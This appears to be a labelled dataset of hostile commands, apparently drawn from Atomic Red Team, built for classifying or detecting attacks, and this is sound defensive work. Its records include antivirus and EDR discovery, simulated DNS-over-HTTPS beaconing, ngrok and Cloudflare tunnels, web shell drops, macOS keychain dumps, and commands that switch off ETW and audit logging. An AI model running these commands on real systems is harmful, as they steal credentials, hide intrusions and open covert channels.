cowWhySo/permission-command-corpus huggingface dataset:
Command: get-process | ?{$_.Description -like "*virus*"} get-process | ?{$_.Description -like "*carbonblack*"} get-process | ?{$_.Description -like "*defender*"} get-process | ?{$_.Description -like "*cylance*"} get-process | ?{$_.Description -like "*mc*"} get-process | ?{$_.ProcessName -like "*mc*"} get-process | Where-Object { $_.ProcessName -eq "Sysmon" }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: windows
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - powershell
Notes: Methods to identify Security Software on an endpoint

when sucessfully executed, powershell is going to processes related AV products if they are running.
Note that, depending on the privilege of current user, get-process | ?{$_.Description -like "*"} may not return the processes related to AV products of the check.
For instance, only with Administrator right, you can see the process description of McAffee processes. Hence, it is better to use get-process | ?{$_.ProcessName -like "*"},
if you kn
Command: ps aux | egrep 'Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: macos
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - ps (macOS)
Notes: Methods to identify Security Software on an endpoint
when sucessfully executed, command shell  is going to display AV/Security software it is running.
Command: ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: linux
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - ps (Linux)
Notes: Methods to identify Security Software on an endpoint
when sucessfully executed, command shell  is going to display AV/Security software it is running.
Command: pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: linux
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - pgrep (FreeBSD)
Notes: Methods to identify Security Software on an endpoint
when sucessfully executed, command shell is going to display AV/Security software it is running.
Command: fltmc.exe | findstr.exe 385201
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: windows
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - Sysmon Service
Notes: Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).

when sucessfully executed, the test is going to display sysmon driver instance if it is installed.
Command: wmic.exe /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: windows
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - AV Discovery via WMI
Notes: Discovery of installed antivirus products via a WMI query.

when sucessfully executed, the test is going to display installed AV software.
Command: powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct powershell Get-WmiObject -Namespace root\securitycenter2 -Class antivirusproduct
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: windows
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - AV Discovery via Get-CimInstance and Get-WmiObject cmdlets
Notes: Discovery of installed antivirus products via Get-CimInstance and Get-WmiObject cmdlets of powershell.

when sucessfully executed, information about installed AV software is displayed..
Command: Get-Service WinDefend #check the service state of Windows Defender Get-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc Get-MpThreat #threats details that have been detected using MS Defender
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: windows
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - Windows Defender Enumeration
Notes: Windows Defender Enumeration via different built-in windows native tools.
when sucessfully executed, information about windows defender is displayed.
Command: Get-NetFirewallProfile | Format-Table Name, Enabled Get-NetFirewallSetting Get-NetFirewallRule | select DisplayName, Enabled, Description
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: windows
ATT&CK tags: T1518.001
Source rule: Security Software Discovery - Windows Firewall Enumeration
Notes: Enumerates windows firewall to retrieves firewall rules from the target computer.

when sucessfully executed, details of windows firewall is displayed.
Command: wmic /Node:localhost /Namespace:\\root\Microsoft\Windows\Defender Path MSFT_MpPreference Get /format:list | findstr /i /C:"DisableRealtimeMonitoring" /C:"ExclusionPath" /C:"ExclusionExtension" /C:"ExclusionProcess"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518.001
Platform: windows
ATT&CK tags: T1518.001
Source rule: Get Windows Defender exclusion settings using WMIC
Notes: In this test, a WMIC command is used to probe the local Windows system for the configuration of Windows Defender's exclusions. This command targets the MSFT_MpPreference 
class within the Windows Management Instrumentation (WMI) namespace, allowing the retrieval of critical settings such as disabled real-time monitoring and specified 
exclusion paths, file extensions, and processes. Attackers might use this approach to understand what is excluded from antivirus scans, enabling further exploitati
Command: ping -c #{ping_count} 8.8.8.8 > /dev/null #{evil_command}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1497.003
Platform: linux,macos
ATT&CK tags: T1497.003
Source rule: Delay execution with ping
Notes: Uses the ping command to introduce a delay before executing a malicious payload.
Command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: windows
ATT&CK tags: T1572
Source rule: DNS over HTTPS Large Query Volume
Notes: This test simulates an infected host sending a large volume of DoH queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
Command: Set-Location "PathToAtomicsFolder" .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: windows
ATT&CK tags: T1572
Source rule: DNS over HTTPS Regular Beaconing
Notes: This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
Command: Set-Location "PathToAtomicsFolder" .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: windows
ATT&CK tags: T1572
Source rule: DNS over HTTPS Long Domain Query
Notes: This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
 Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
Command: C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null Start-Sleep -s 5 Stop-Job -Name Job1 | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: windows
ATT&CK tags: T1572
Source rule: run ngrok
Notes: Download and run ngrok. Create tunnel to chosen port.
Command: Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: windows
ATT&CK tags: T1572
Source rule: run ngrok
Notes: Download and run ngrok. Create tunnel to chosen port.
Command: #{binary_path} host -p #{port} &
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: linux,macos
ATT&CK tags: T1572
Source rule: Microsoft Dev tunnels (Linux/macOS)
Notes: Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.

This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc.
Reference:
- [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)
Command: pkill -9 $(basename "#{binary_path}") #{binary_path} user logout rm #{binary_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: linux,macos
ATT&CK tags: T1572
Source rule: Microsoft Dev tunnels (Linux/macOS)
Notes: Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.

This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc.
Reference:
- [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)
Command: nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: linux,macos
ATT&CK tags: T1572
Source rule: VSCode tunnels (Linux/macOS)
Notes: Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)
Command: pkill -9 tunnel code tunnel unregister code tunnel user logout
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: linux,macos
ATT&CK tags: T1572
Source rule: VSCode tunnels (Linux/macOS)
Notes: Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)
Command: nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: linux,macos
ATT&CK tags: T1572
Source rule: Cloudflare tunnels (Linux/macOS)
Notes: Cloudflared can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)
Command: pkill -9 $(basename "#{binary_path}") rm -f "#{binary_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1572
Platform: linux,macos
ATT&CK tags: T1572
Source rule: Cloudflare tunnels (Linux/macOS)
Notes: Cloudflared can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)
Command: #{mofcomp_path} "#{mof_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.003
Platform: windows
ATT&CK tags: T1546.003
Source rule: Windows MOFComp.exe Load MOF File
Notes: The following Atomic will utilize MOFComp.exe to load a local MOF file.
The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. 
To query for the class:  gwmi __eventfilter -namespace root\subscription
A successful execution will add the class to WMI root namespace.
Reference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/s
Command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.011
Platform: windows
ATT&CK tags: T1055.011
Source rule: Process Injection via Extra Window Memory (EWM) x64 executable
Notes: Hooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique
Command: xcopy /I /Y "#{web_shells}" #{web_shell_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.003
Platform: windows
ATT&CK tags: T1505.003
Source rule: Web Shell Written to Disk
Notes: This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command: del #{web_shell_path}\b.jsp /q >nul 2>&1 del #{web_shell_path}\tests.jsp /q >nul 2>&1 del #{web_shell_path}\cmd.aspx /q >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.003
Platform: windows
ATT&CK tags: T1505.003
Source rule: Web Shell Written to Disk
Notes: This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command: sudo security dump-keychain -d login.keychain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.001
Platform: macos
ATT&CK tags: T1555.001
Source rule: Keychain Dump
Notes: This command will dump keychain credential information from login.keychain. 
Source: https://www.loobins.io/binaries/security/

### Keychain File path
  ~/Library/Keychains/
  /Library/Keychains/
  /Network/Library/Keychains/
  [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)
Command: security find-certificate -a -p > #{cert_export}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.001
Platform: macos
ATT&CK tags: T1555.001
Source rule: Export Certificate Item(s)
Notes: This command finds all certificate items and sends the output to local file in pem format.
Command: rm #{cert_export}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.001
Platform: macos
ATT&CK tags: T1555.001
Source rule: Export Certificate Item(s)
Notes: This command finds all certificate items and sends the output to local file in pem format.
Command: security import #{cert_export} -k
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.001
Platform: macos
ATT&CK tags: T1555.001
Source rule: Import Certificate Item(s) into Keychain
Notes: This command will import a certificate pem file into a keychain.
Command: cat ~/Library/Keychains/login.keychain-db > #{keychain_export}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.001
Platform: macos
ATT&CK tags: T1555.001
Source rule: Copy Keychain using cat utility
Notes: This command will copy the keychain using the cat utility in a manner similar to Atomic Stealer.
Command: rm #{keychain_export}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.001
Platform: macos
ATT&CK tags: T1555.001
Source rule: Copy Keychain using cat utility
Notes: This command will copy the keychain using the cat utility in a manner similar to Atomic Stealer.
Command: sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name} if [ -f "/etc/#{auditd_config_file_name}" ]; then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name} else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name} fi sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: linux
ATT&CK tags: T1562.006
Source rule: Auditing Configuration Changes on Linux Host
Notes: Emulates modification of auditd configuration files
Command: sed -i '$ d' /etc/audisp/#{audisp_config_file_name} if [ -f "/etc/#{auditd_config_file_name}" ]; then sed -i '$ d' /etc/#{auditd_config_file_name} else sed -i '$ d' /etc/audit/#{auditd_config_file_name} fi sed -i '$ d' /etc/#{libaudit_config_file_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: linux
ATT&CK tags: T1562.006
Source rule: Auditing Configuration Changes on Linux Host
Notes: Emulates modification of auditd configuration files
Command: echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: linux
ATT&CK tags: T1562.006
Source rule: Auditing Configuration Changes on FreeBSD Host
Notes: Emulates modification of auditd configuration files
Command: sed -i "" '/#art_test_1562_006_1/d' /etc/security/#{auditd_config_file_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: linux
ATT&CK tags: T1562.006
Source rule: Auditing Configuration Changes on FreeBSD Host
Notes: Emulates modification of auditd configuration files
Command: if [ -f "/etc/#{syslog_config_file_name}" ]; then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name} fi if [ -f "/etc/#{rsyslog_config_file_name}" ]; then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name} fi if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ]; then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name} fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: linux
ATT&CK tags: T1562.006
Source rule: Logging Configuration Changes on Linux Host
Notes: Emulates modification of syslog configuration.
Command: if [ -f "/etc/#{syslog_config_file_name}" ]; then sed -i '$ d' /etc/#{syslog_config_file_name} fi if [ -f "/etc/#{rsyslog_config_file_name}" ]; then sed -i '$ d' /etc/#{rsyslog_config_file_name} fi if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ]; then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name} fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: linux
ATT&CK tags: T1562.006
Source rule: Logging Configuration Changes on Linux Host
Notes: Emulates modification of syslog configuration.
Command: if [ -f "/etc/#{syslog_config_file_name}" ]; then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name} fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: linux
ATT&CK tags: T1562.006
Source rule: Logging Configuration Changes on FreeBSD Host
Notes: Emulates modification of syslog configuration.
Command: if [ -f "/etc/#{syslog_config_file_name}" ]; then sed -i "" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name} fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: linux
ATT&CK tags: T1562.006
Source rule: Logging Configuration Changes on FreeBSD Host
Notes: Emulates modification of syslog configuration.
Command: cmd /c "#{ps_exec_location}" -accepteula -i -s cmd.exe /c logman update trace "#{session}" --p "#{provider}" -ets
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable Powershell ETW Provider - Windows
Notes: This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.
Command: cmd /c "#{ps_exec_location}" -i -s cmd.exe /c logman update trace "#{session}" -p "#{provider}" -ets
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable Powershell ETW Provider - Windows
Notes: This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.
Command: REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Registry (cmd)
Notes: Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry
Command: REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Registry (cmd)
Notes: Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry
Command: New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name ETWEnabled -Value 0 -PropertyType "DWord" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Registry (powershell)
Notes: Disables ETW for the .NET Framework using PowerShell to update the Windows registry
Command: REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > $null 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Registry (powershell)
Notes: Disables ETW for the .NET Framework using PowerShell to update the Windows registry
Command: reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: LockBit Black - Disable the ETW Provider of Windows Defender -cmd
Notes: An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a